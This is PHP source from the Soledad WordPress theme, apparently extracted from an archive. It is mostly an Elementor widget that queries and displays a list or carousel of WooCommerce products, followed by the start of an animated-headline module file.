				'description' => 'Designates the ascending or descending order. More at <a href="http://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters" target="_blank">WordPress codex page</a>.',
				'type'        => Controls_Manager::SELECT,
				'default'     => '',
				'options'     => array(
					''     => esc_html__( 'Inherit', 'soledad' ),
					'DESC' => esc_html__( 'Descending', 'soledad' ),
					'ASC'  => esc_html__( 'Ascending', 'soledad' ),
				),
				'condition'   => [
					'post_type!' => 'ids',
				],
			]
		);

		$this->add_control(
			'meta_key',
			[
				'label'       => esc_html__( 'Meta key', 'soledad' ),
				'description' => esc_html__( 'Input meta key for grid ordering.', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'condition'   => [
					'orderby' => [ 'meta_value', 'meta_value_num' ],
				],
			]
		);

		$this->add_control(
			'exclude',
			[
				'label'       => esc_html__( 'Exclude', 'soledad' ),
				'description' => esc_html__( 'Exclude posts, pages, etc. by title.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_posts_by_query',
				'render'      => 'penci_get_posts_title_by_id',
				'post_type'   => 'product',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => [
					'post_type!' => 'ids',
				],
			]
		);

		$this->end_controls_section();


		$this->start_controls_section(
			'section_image', array(
				'label' => esc_html__( 'Image', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'hide_thumb', array(
				'label'        => __( 'Hide Product Image?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
			)
		);

		$this->add_control(
			'imgpos',
			array(
				'label'   => __( 'Image Position', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'left'  => 'Left',
					'right' => 'Right',
					'top'   => 'Top',
				),
				'default' => 'left',
			)
		);

		$this->add_responsive_control(
			'imgwidth',
			[
				'label'      => __( 'Image Width', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => [ '%', 'px' ],
				'range'      => [
					'px' => [
						'min'  => 0,
						'max'  => 600,
						'step' => 1,
					],
					'%'  => [
						'min'  => 0,
						'max'  => 95,
						'step' => 0.1,
					],
				],
				'default'    => [
					'unit' => '%',
				],
				'selectors'  => [
					'{{WRAPPER}} .pcsl-inner .pcsl-thumb'                                                       => 'width: {{SIZE}}{{UNIT}};',
					'{{WRAPPER}} .pcsl-imgpos-left .pcsl-content, {{WRAPPER}} .pcsl-imgpos-right .pcsl-content' => 'width: calc( 100% - {{SIZE}}{{UNIT}} );',
				],
			]
		);

		$this->add_control(
			'image_align',
			array(
				'label'                => __( 'Image Align', 'soledad' ),
				'type'                 => Controls_Manager::CHOOSE,
				'label_block'          => false,
				'options'              => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'selectors'            => array(
					'{{WRAPPER}} .pcsl-inner.pcsl-imgpos-top .pcsl-thumb' => '{{VALUE}}',
				),
				'selectors_dictionary' => array(
					'left'   => 'marin-right: auto;',
					'center' => 'margin-left: auto; margin-right: auto;',
					'right'  => 'margin-left: auto;',
				),
				'conditions'           => [
					'relation' => 'and',
					'terms'    => [
						[
							'name'     => 'imgpos',
							'operator' => '==',
							'value'    => 'top'
						],
						[
							'name'     => 'imgwidth[size]',
							'operator' => '!=',
							'value'    => ''
						]
					]
				]
			)
		);

		$this->add_responsive_control(
			'img_ratio', array(
				'label'     => __( 'Image Ratio', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 0.5 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pcsl-inner .penci-image-holder:before' => 'padding-top: {{SIZE}}%;',
				),
				'condition' => array( 'nocrop!' => 'yes' ),
			)
		);

		$this->add_control(
			'disable_lazy', array(
				'label'        => __( 'Disable Lazyload Images?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
			)
		);

		$this->add_control(
			'thumb_size', array(
				'label'   => __( 'Image Size', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => $this->get_list_image_sizes( true ),
			)
		);

		$this->add_control(
			'mthumb_size', array(
				'label'   => __( 'Image Size for Mobile', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => $this->get_list_image_sizes( true ),
			)
		);

		$this->add_control(
			'nocrop', array(
				'label'        => __( 'No Crop Image?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
				'description'  => __( 'To make it works, you need to select Image Size above is "Penci Masonry Thumb" or "Penci Full Thumb" or "Full"', 'soledad' ),
			)
		);

		$this->add_control(
			'imgtop_mobile', array(
				'label'        => __( 'Move Image Above The Post Meta on Mobile?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'condition'    => array( 'imgpos' => array( 'left', 'right' ) ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_postmeta', array(
				'label' => esc_html__( 'Product Meta Data', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'product_price', array(
				'label'        => __( 'Hide Product Price', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'On', 'soledad' ),
				'label_off'    => __( 'Off', 'soledad' ),
				'return_value' => 'on',
				'default'      => '',
			)
		);

		$this->add_control(
			'product_cat', array(
				'label'        => __( 'Hide Product Categories', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'On', 'soledad' ),
				'label_off'    => __( 'Off', 'soledad' ),
				'return_value' => 'on',
				'default'      => '',
			)
		);

		$this->add_control(
			'product_rating', array(
				'label'        => __( 'Hide Product Rating', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'On', 'soledad' ),
				'label_off'    => __( 'Off', 'soledad' ),
				'return_value' => 'on',
				'default'      => '',
			)
		);

		$this->add_control(
			'title_length', array(
				'label'   => __( 'Custom Product Title Words Length', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'min'     => 1,
				'max'     => 100,
				'step'    => 1,
				'default' => '',
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_carousel_options',
			array(
				'label'     => __( 'Carousel Options', 'soledad' ),
				'condition' => array( 'type' => 'crs' ),
			)
		);

		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Slider Effect', 'soledad' ),
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control(
			'autoplay', array(
				'label'   => __( 'Autoplay', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			)
		);

		$this->add_control(
			'loop', array(
				'label'     => __( 'Carousel Loop', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'condition' => [ 'carousel_slider_effect' => 'default' ],
			)
		);
		$this->add_control(
			'auto_time', array(
				'label'   => __( 'Carousel Auto Time ( 1000 = 1s )', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 4000,
			)
		);
		$this->add_control(
			'speed', array(
				'label'   => __( 'Carousel Speed ( 1000 = 1s )', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 600,
			)
		);
		$this->add_control(
			'shownav', array(
				'label'   => __( 'Show next/prev buttons', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			)
		);
		$this->add_control(
			'showdots', array(
				'label' => __( 'Show dots navigation', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section(
			'section_style_content',
			array(
				'label' => __( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'item_bg',
			array(
				'label'     => __( 'Product Items Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcsl-itemin' => 'background-color: {{VALUE}};' ),
			)
		);

		$this->add_responsive_control(
			'item_padding', array(
				'label'      => __( 'Product Items Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pcsl-itemin' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_control(
			'item_borders',
			array(
				'label'     => __( 'Add Borders for Product Items', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcsl-itemin' => 'border: 1px solid {{VALUE}};' ),
			)
		);

		$this->add_control(
			'remove_border_last', array(
				'label'     => __( 'Remove Border Bottom On Last Item', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
				'selectors' => array(
					'{{WRAPPER}} .pcsl-col-1 .pcsl-item:last-child .pcsl-itemin' => 'padding-bottom: 0; border-bottom: none;'
				),
				'condition' => array( 'column' => '1', 'item_borders!' => '' ),
			)
		);

		$this->add_responsive_control(
			'item_bordersw', array(
				'label'      => __( 'Products Items Borders Width', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pcsl-itemin' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'side_padding', array(
				'label'      => __( 'Padding for Side Content of Image', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pcsl-content' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}} !important;'
				),
			)
		);

		$this->add_control(
			'heading_pcat',
			array(
				'label'     => __( 'Product Categories', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'cat_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-product-cats,{{WRAPPER}} .penci-product-cats > a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'cat_hcolor',
			array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-product-cats > a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'cat_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-product-cats,{{WRAPPER}} .penci-product-cats > a',
			)
		);

		$this->add_control(
			'heading_ptitle',
			array(
				'label'     => __( 'Product Title', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'title_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcsl-content .pcsl-title a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'title_hcolor',
			array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcsl-content .pcsl-title a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'title_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pcsl-content .pcsl-title',
			)
		);

		$this->add_control(
			'price_ptitle',
			array(
				'label'     => __( 'Product Price', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'price_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcsl-content .pcsl-price span' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'price_hcolor',
			array(
				'label'     => __( 'Sale Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcsl-content .pcsl-price span del,{{WRAPPER}} .pcsl-content .pcsl-price span del span' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'price_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pcsl-content .pcsl-price',
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_spacing',
			array(
				'label' => __( 'Elements Spacing', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_responsive_control(
			'cat_space', array(
				'label'     => __( 'Categories Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .pcsl-inner .pcsl-content .cat' => 'margin-bottom: {{SIZE}}px;',
				),
			)
		);

		$this->add_responsive_control(
			'meta_space', array(
				'label'     => __( 'Product Price Margin Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .pcsl-inner .pcsl-price' => 'margin-top: {{SIZE}}px;',
				),
			)
		);

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	/**
	 * Get attribute taxonomies
	 *
	 * @since 1.0.0
	 */
	public function get_product_attributes_array() {
		$attributes = [];

		if ( function_exists( 'wc_get_attribute_taxonomies' ) ) {
			foreach ( wc_get_attribute_taxonomies() as $attribute ) {
				$attributes[] = 'pa_' . $attribute->attribute_name;
			}
		}

		return $attributes;
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		$settings = $this->get_settings();

		$type              = $settings['type'] ? $settings['type'] : '';
		$column            = $settings['column'] ? $settings['column'] : '3';
		$tab_column        = $settings['tab_column'] ? $settings['tab_column'] : '2';
		$mb_column         = $settings['mb_column'] ? $settings['mb_column'] : '1';
		$imgpos            = $settings['imgpos'] ? $settings['imgpos'] : 'left';
		$thumb_size_imgtop = 'top' == $imgpos ? 'penci-thumb' : 'penci-thumb-small';
		$thumb_size        = $settings['thumb_size'] ? $settings['thumb_size'] : $thumb_size_imgtop;
		$mthumb_size       = $settings['mthumb_size'] ? $settings['mthumb_size'] : $thumb_size_imgtop;
		$title_length      = $settings['title_length'] ? $settings['title_length'] : '';

		$thumbnail = $thumb_size;
		if ( penci_is_mobile() ) {
			$thumbnail = $mthumb_size;
		}

		$item_class = 'normal-item';

		$inner_wrapper_class = 'pcsl-inner penci-clearfix';
		$inner_wrapper_class .= ' pcsl-' . $type;
		if ( 'crs' == $type ) {
			$item_class          = 'swiper-slide';
			$inner_wrapper_class .= ' swiper penci-owl-carousel penci-owl-carousel-slider';
		}
		$inner_wrapper_class .= ' pcsl-imgpos-' . $imgpos;
		$inner_wrapper_class .= ' pcsl-col-' . $column;
		$inner_wrapper_class .= ' pcsl-tabcol-' . $tab_column;
		$inner_wrapper_class .= ' pcsl-mobcol-' . $mb_column;
		if ( 'yes' == $settings['nocrop'] ) {
			$inner_wrapper_class .= ' pcsl-nocrop';
		}
		$data_slider = '';
		if ( 'crs' == $type ) {
			$data_slider .= $settings['showdots'] ? ' data-dots="true"' : ' data-dots="false"';
			$data_slider .= $settings['shownav'] ? ' data-nav="true"' : ' data-nav="false"';
			$data_slider .= ! $settings['loop'] ? ' data-loop="true"' : '';
			$data_slider .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
			$data_slider .= $settings['auto_time'] ? ' data-autotime="' . $settings['auto_time'] . '"' : ' data-autotime="4000"';
			$data_slider .= $settings['speed'] ? ' data-speed="' . $settings['speed'] . '"' : ' data-speed="600"';

			$data_slider .= ' data-item="' . ( isset( $settings['column'] ) && $settings['column'] ? $settings['column'] : '3' ) . '"';
			$data_slider .= ' data-desktop="' . ( isset( $settings['column'] ) && $settings['column'] ? $settings['column'] : '3' ) . '" ';
			$data_slider .= ' data-tablet="' . ( isset( $settings['tab_column'] ) && $settings['tab_column'] ? $settings['tab_column'] : '2' ) . '"';
			$data_slider .= ' data-tabsmall="' . ( isset( $settings['tab_column'] ) && $settings['tab_column'] ? $settings['tab_column'] : '2' ) . '"';
			$data_slider .= ' data-mobile="' . ( isset( $settings['mb_column'] ) && $settings['mb_column'] ? $settings['mb_column'] : '1' ) . '"';
			$data_slider .= ' data-ceffect="' . $settings['carousel_slider_effect'] . '"';
		}

		// product query

		$settings = wp_parse_args( $settings, penci_custom_product_query_default_args() );

		$paged = get_query_var( 'paged' ) ? get_query_var( 'paged' ) : 1;
		if ( isset( $_GET['product-page'] ) ) { // phpcs:ignore
			$paged = wc_clean( wp_unslash( $_GET['product-page'] ) ); // phpcs:ignore
		}

		// Query settings.
		$ordering_args = WC()->query->get_catalog_ordering_args( $settings['orderby'], $settings['order'] );

		$query_args = array(
			'post_type'           => 'product',
			'post_status'         => 'publish',
			'ignore_sticky_posts' => 1,
			'paged'               => $paged,
			'orderby'             => $ordering_args['orderby'],
			'order'               => $ordering_args['order'],
			'posts_per_page'      => $settings['items_per_page'],
			'meta_query'          => WC()->query->get_meta_query(), // phpcs:ignore
			'tax_query'           => WC()->query->get_tax_query(), // phpcs:ignore
		);

		if ( 'new' === $settings['post_type'] ) {
			$new_label = get_theme_mod( 'penci_woo_label_new_product', true );
			$days      = get_theme_mod( 'penci_woo_label_new_product_period', 7 );
			if ( $new_label && $days ) {
				$query_args['date_query'] = array(
					'after' => date( 'Y-m-d', strtotime( '-' . $days . ' days' ) ),
				);
			} else {
				$query_args['meta_query'][] = array(
					array(
						'key'     => 'penci_pmeta_product_extra_options',
						'value'   => '"permanent_new_label";s:1:"1"',
						'compare' => 'LIKE',
					),
				);
			}
		}

		if ( isset( $settings['search_query'] ) && ! empty( $settings['search_query'] ) ) {
			$query_args['s'] = esc_attr( $settings['search_query'] );
		}

		if ( $ordering_args['meta_key'] ) {
			$query_args['meta_key'] = $ordering_args['meta_key']; // phpcs:ignore
		}
		if ( $settings['meta_key'] ) {
			$query_args['meta_key'] = $settings['meta_key']; // phpcs:ignore
		}
		if ( 'ids' === $settings['post_type'] && $settings['include'] ) {
			$query_args['post__in'] = $settings['include'];
		}
		if ( $settings['exclude'] ) {
			$query_args['post__not_in'] = $settings['exclude'];
		}
		if ( $settings['taxonomies'] ) {
			$taxonomy_names = get_object_taxonomies( 'product' );
			$terms          = get_terms(
				$taxonomy_names,
				array(
					'orderby'    => 'name',
					'include'    => $settings['taxonomies'],
					'hide_empty' => false,
				)
			);

			if ( ! is_wp_error( $terms ) && ! empty( $terms ) ) {
				if ( 'featured' === $settings['post_type'] ) {
					$query_args['tax_query'] = [ 'relation' => 'AND' ]; // phpcs:ignore
				}

				$relation = $settings['query_type'] ? $settings['query_type'] : 'OR';
				if ( count( $terms ) > 1 ) {
					$query_args['tax_query']['categories'] = array( 'relation' => $relation );
				}

				foreach ( $terms as $term ) {
					$query_args['tax_query']['categories'][] = array(
						'taxonomy'         => $term->taxonomy,
						'field'            => 'slug',
						'terms'            => array( $term->slug ),
						'include_children' => true,
						'operator'         => 'IN',
					);
				}
			}
		}
		if ( 'featured' === $settings['post_type'] ) {
			$query_args['tax_query'][] = array(
				'taxonomy'         => 'product_visibility',
				'field'            => 'name',
				'terms'            => 'featured',
				'operator'         => 'IN',
				'include_children' => false,
			);
		}
		if ( apply_filters( 'penci_hide_out_of_stock_items', false ) && 'yes' === get_option( 'woocommerce_hide_out_of_stock_items' ) ) {
			$query_args['meta_query'][] = array(
				'key'     => '_stock_status',
				'value'   => 'outofstock',
				'compare' => 'NOT IN',
			);
		}
		if ( $settings['order'] ) {
			$query_args['order'] = $settings['order'];
		}
		if ( $settings['offset'] ) {
			$query_args['offset'] = $settings['offset'];
		}
		if ( 'sale' === $settings['post_type'] ) {
			$query_args['post__in'] = array_merge( array( 0 ), penci_get_product_ids_on_sale() );
		}
		if ( 'bestselling' === $settings['post_type'] ) {
			$query_args['orderby']  = 'meta_value_num';
			$query_args['meta_key'] = 'total_sales'; // phpcs:ignore
			$query_args['order']    = 'DESC';
		}

		WC()->query->remove_ordering_args();

		if ( isset( $_GET['orderby'] ) && $settings['header_tools'] ) { // phpcs:ignore
			$element_orderby = wc_clean( wp_unslash( $_GET['orderby'] ) ); // phpcs:ignore

			if ( 'date' === $element_orderby ) {
				$query_args['orderby'] = 'date';
				$query_args['order']   = 'DESC';
			} elseif ( 'price-desc' === $element_orderby ) {
				$query_args['orderby'] = 'price';
				$query_args['order']   = 'DESC';
			} else {
				$query_args['orderby'] = $element_orderby;
				$query_args['order']   = 'ASC';
			}
		}

		if ( 'price' === $query_args['orderby'] ) {
			$query_args['orderby']  = 'meta_value_num';
			$query_args['meta_key'] = '_price'; // phpcs:ignore
		}

		if ( isset( $_GET['per_page'] ) && $settings['header_tools'] ) { // phpcs:ignore
			$query_args['posts_per_page'] = wc_clean( wp_unslash( $_GET['per_page'] ) ); // phpcs:ignore
		}

		if ( isset( $settings['product_type'] ) && in_array(
				$settings['product_type'],
				array(
					'day',
					'week',
					'month',
				)
			) ) {
			$date = '+1 day';
			if ( $settings['product_type'] == 'week' ) {
				$date = '+7 day';
			} elseif ( $settings['product_type'] == 'month' ) {
				$date = '+1 month';
			}
			$query_args['meta_query'] = apply_filters(
				'penci_product_deals_meta_query',
				array_merge(
					WC()->query->get_meta_query(),
					array(
						array(
							'key'     => '_deal_quantity',
							'value'   => 0,
							'compare' => '>',
						),
						array(
							'key'     => '_sale_price_dates_to',
							'value'   => 0,
							'compare' => '>',
						),
						array(
							'key'     => '_sale_price_dates_to',
							'value'   => strtotime( $date ),
							'compare' => '<=',
						),
					)
				)
			);
		} elseif ( isset( $settings['product_type'] ) && $settings['product_type'] == 'deals' ) {
			$query_args['meta_query'] = apply_filters(
				'penci_product_deals_meta_query',
				array_merge(
					WC()->query->get_meta_query(),
					array(
						array(
							'key'     => '_deal_quantity',
							'value'   => 0,
							'compare' => '>',
						),
					)
				)
			);
		}

		if ( 'top_rated_products' === $settings['post_type'] ) {
			add_filter( 'posts_clauses', 'penci_order_by_rating_post_clauses' );
			$products = new \WP_Query( apply_filters( 'penci_product_element_query_args', $query_args ) );
			remove_filter( 'posts_clauses', 'penci_order_by_rating_post_clauses' );
		} else {
			$products = new \WP_Query( apply_filters( 'penci_product_element_query_args', $query_args ) );
		}
		?>
        <div class="penci-wrapper-smalllist">
			<?php $this->markup_block_title( $settings, $this ); ?>
			<?php
			if ( ! $products->have_posts() ) {
				echo $this->show_missing_settings( 'Product List', penci_get_setting( 'penci_ajaxsearch_no_post' ) );
			}

			if ( $products->have_posts() ) {
				?>
                <div class="penci-smalllist pcsl-wrapper">
                    <div class="<?php echo $inner_wrapper_class; ?>"<?php echo $data_slider; ?>>
						<?php if ( 'crs' == $type ) : ?>
                        <div class="swiper-wrapper">
							<?php endif; ?>
							<?php while ( $products->have_posts() ) : $products->the_post(); ?>
                                <div class="pcsl-item<?php if ( 'yes' == $settings['hide_thumb'] || ! has_post_thumbnail() ) {
									echo ' pcsl-nothumb';
								}
								echo ' ' . $item_class; ?>">
                                    <div class="pcsl-itemin">
                                        <div class="pcsl-iteminer">
											<?php if ( 'yes' != $settings['hide_thumb'] && has_post_thumbnail() ) { ?>
                                                <div class="pcsl-thumb">

                                                    <a <?php echo penci_layout_bg( penci_get_image_size_url( penci_image_srcset( get_the_ID(), $thumbnail ) ), 'yes' != $settings['disable_lazy'] ); ?> href="<?php the_permalink(); ?>"
                                                       class="<?php echo penci_layout_bg_class('yes' != $settings['disable_lazy']);?> penci-image-holder"<?php if ( 'yes' == $settings['nocrop'] ) {
														echo ' style="padding-bottom: ' . penci_get_featured_image_padding_markup( get_the_ID(), $thumbnail, true ) . '%"';
													} ?>>
														<?php echo penci_layout_img( penci_get_image_size_url( penci_image_srcset( get_the_ID(), $thumbnail ) ), get_the_title(), 'yes' != $settings['disable_lazy'] ); ?>
                                                    </a>

                                                </div>
											<?php } ?>
                                            <div class="pcsl-content">

												<?php if ( $settings['product_cat'] !== 'on' ): ?>
                                                    <div class="cat pcsl-cat">
														<?php $this->product_categories_link(); ?>
                                                    </div>
												<?php endif; ?>

                                                <div class="pcsl-title">
                                                    <a href="<?php the_permalink(); ?>"><?php

														if ( ! $title_length ) {
															the_title();
														} else {
															echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
														} ?></a>
                                                </div>

												<?php if ( $settings['product_price'] !== 'on' ): ?>

                                                    <div class="pcsl-price">
														<?php woocommerce_template_loop_price(); ?>
                                                    </div>
												<?php endif; ?>

												<?php if ( $settings['product_rating'] !== 'on' ): ?>
                                                    <div class="pcsl-rating">
														<?php woocommerce_template_loop_rating(); ?>
                                                    </div>
												<?php endif; ?>
                                            </div>
                                        </div>
                                    </div>
                                </div>
							<?php endwhile; ?>
							<?php if ( 'crs' == $type ) : ?>
                        </div>
					<?php endif; ?>
                    </div>
                </div>
				<?php
			} /* End check if query exists posts */
			?>
        </div>
		<?php
		wp_reset_postdata();
	}

	public static function show_missing_settings( $label, $mess ) {
		$output = '';
		if ( current_user_can( 'manage_options' ) ) {
			$output .= '<div class="penci-missing-settings">';
			$output .= '<p style="margin-bottom: 4px;">This message appears for administrator users only</p>';
			$output .= '<span>' . $label . '</span>';
			$output .= $mess;
			$output .= '</div>';
		}

		return $output;
	}

	public function product_categories_link() {
		global $post;

		$terms = get_the_terms( $post->ID, 'product_cat' );

		if ( ! $terms ) {
			return;
		}

		$terms_array = array();
		$parent      = array();
		$child       = array();
		$links       = array();

		foreach ( $terms as $term ) {
			$terms_array[ $term->term_id ] = $term;

			if ( ! $term->parent ) {
				$parent[ $term->term_id ] = $term->name;
			}
		}

		foreach ( $terms as $term ) {
			if ( $term->parent ) {
				unset( $parent[ $term->parent ] );

				if ( array_key_exists( $term->parent, $terms_array ) ) {
					$child[ $term->parent ] = get_term( $term->parent )->name;
				}

				$child[ $term->term_id ] = $term->name;
			}
		}

		$terms = $child + $parent;

		foreach ( $terms as $key => $value ) {
			$links[] = '<a href="' . esc_url( get_term_link( $key ) ) . '" rel="tag">' . esc_html( $value ) . '</a>';
		}

		?>
        <div class="penci-product-cats">
			<?php echo implode( ', ', $links ); // phpcs:ignore ?>
        </div>
		<?php
	}
}
PK     N\ew  w  8  inc/elementor/modules/penci-animated-headline/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciAnimatedHeadline;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-animated-headline';
	}

	public function get_widgets() {
		return array( 'PenciAnimatedHeadline' );
	}
}
PK     N\5=djm  jm  Q  inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciAnimatedHeadline\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Typography;
